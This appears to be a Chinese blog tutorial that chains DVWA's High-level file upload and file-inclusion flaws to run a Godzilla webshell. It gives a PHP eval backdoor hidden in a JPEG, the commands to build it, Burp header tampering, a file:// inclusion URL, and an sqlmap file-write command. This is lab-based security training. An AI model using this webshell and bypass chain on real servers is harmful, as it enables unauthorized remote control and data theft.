【DVWA系列】——File Upload——High详细教程(webshell工具哥斯拉)

发布于:2025-07-15 ⋅ 阅读:(14) ⋅ 点赞:(0)

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁


以下是针对 DVWA File Upload(High级别)配合哥斯拉(Godzilla) 的详细分步教程,涵盖防御机制深度解析、图片马精确制作、文件包含漏洞组合利用及哥斯拉连接全流程:


一、High级别防御机制深度解析

// High级别源码关键防护(/dvwa/vulnerabilities/upload/source/high.php)
$valid_extensions = array('jpg', 'jpeg', 'png');  // 后缀白名单
$valid_mime_types = array('image/jpeg', 'image/png');  // MIME白名单
if (in_array($uploaded_ext, $valid_extensions) && 
    in_array($uploaded_type, $valid_mime_types) && 
    getimagesize($uploaded_tmp)) {  // 文件头校验
    $target_name = md5(uniqid()) . '.' . $uploaded_ext;  // 重命名文件
    move_uploaded_file($uploaded_tmp, $target_path . $target_name);
}

绕过难点
✅ 后缀白名单(仅允许 .jpg/.jpeg/.png
✅ MIME类型校验(需 image/jpegimage/png
✅ 文件头校验(getimagesize() 检测图片头)
✅ 文件重命名(保存为随机MD5值,如 a1b2c3d4.jpg


二、图片木马制作(哥斯拉专用版)

方法1:CMD二进制合并

  1. 准备文件
    • 正常图片:normal.jpg(确保可预览)
    • 哥斯拉WebShellshell.php(内容:<?php @eval($_POST["pass"]);?>
  2. CMD合并命令
    copy /b "C:\path\to\normal.jpg" + "C:\path\to\shell.php" "C:\path\to\godzilla.jpg"
    
    参数说明
    • /b:强制二进制模式合并(保留图片头完整性)
    • 路径含空格时需加双引号

在这里插入图片描述

方法2:010 Editor手动注入(精准控制)

  1. 010 Editor 打开 normal.jpg → 复制前16字节(如 FF D8 FF E0
  2. 在文件末尾追加哥斯拉代码 → 保存为 godzilla.jpg
  3. 验证
    • 十六进制视图尾部应有 3C 3F 70 68 70 ...(对应 <?php
    • 图片预览无异常

方法3:哥斯拉直接生成免杀马

  • 使用哥斯拉生成 免杀图片马(内置加密混淆):
    生成 → 选择PHP → 勾选“图片马” → 绑定正常图片 → 输出 godzilla.jpg

    提前准备一个正常照片,进行并进行绑定
    在这里插入图片描述
    在这里插入图片描述

⚠️ 关键验证:用记事本打开图片马 → 滚动到底部 → 必须看到完整PHP代码!若代码缺失,哥斯拉无法连接


三、上传图片马与Burp篡改

  1. DVWA页面操作
    • 安全级别调至 High
    • 选择 godzilla.jpg → 点击上传
  2. Burp拦截篡改
    • 拦截请求 → 修改 文件块内部Content-Type

      Content-Disposition: form-data; name="uploaded"; filename="godzilla.jpg"
      - Content-Type: application/octet-stream
      + Content-Type: image/jpeg  # 唯一需改的位置
      
    • 不要修改全局Header(避免破坏multipart格式)

  3. 获取上传路径
    • 成功提示:Uploaded to: /dvwa/hackable/uploads/godzilla.jpg
    • 若无提示:访问服务器目录 C:\xampp\htdocs\dvwa\hackable\uploads\(按修改时间找最新文件)
      在这里插入图片描述

四、文件包含漏洞触发执行

1. 构造利用URL

http://靶机IP/dvwa/vulnerabilities/fi/?page=file:///绝对路径/godzilla.jpg
  • Windows绝对路径file:///C:/xampp/htdocs/dvwa/hackable/uploads/godzilla.jpg
  • Linux绝对路径file:///var/www/html/dvwa/hackable/uploads/godzilla.jpg
    原理file:// 协议强制将图片作为PHP解析(绕过后缀限制)

2. 验证执行结果

  • 页面显示空白 → 代码已执行(哥斯拉可连接)
  • 报错 Warning: getimagesize() → 图片头损坏(需重制图片马)

五、哥斯拉连接配置与实战

1. 哥斯拉客户端配置

参数
URL http://靶机IP/dvwa/vulnerabilities/fi/?page=file:///路径/webshell123.png
连接密码 pass(与WebShell中 $_POST["pass"] 一致)
加密器 PHP默认(或选择与WebShell匹配的加密方式)
请求类型 POST

在这里插入图片描述

2. 连接成功标志

  • 状态显示 “已连接”
  • 左侧菜单可操作:
    ✅ 文件管理(上传/下载/编辑)
    ✅ 命令执行(whoamiipconfig
    ✅ 数据库管理(需配置)

3. 连接失败排查

现象 原因 解决方案
返回HTTP 500错误 文件包含路径错误 检查路径是否含空格/中文(用下划线替代)
哥斯拉显示“解密失败” 密码或加密器不匹配 检查WebShell代码中的 $_POST 键名
连接成功但命令无响应 服务器禁用危险函数 改用 shell_exec()system()

六、高级技巧:自动化利用

SQLMap写入图片马

sqlmap -u "http://靶机IP/dvwa/vulnerabilities/sqli/?id=1" \
  --cookie="security=high; PHPSESSID=xxx" \
  --file-write="godzilla.jpg" \
  --file-dest="/var/www/html/dvwa/hackable/uploads/godzilla.jpg"

前提:存在SQL注入漏洞且当前用户为DBA权限。


总结流程图

CMD/010 Editor
制作哥斯拉图片马
Burp上传篡改Content-Type
获取随机文件名
构造文件包含URL
哥斯拉连接
成功
控制服务器
检查 图片马完整性/路径/密码

⚠️ 法律声明:本教程仅限授权测试环境使用!禁止未授权渗透测试。

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。


网站公告

今日签到

点亮在社区的每一天
去签到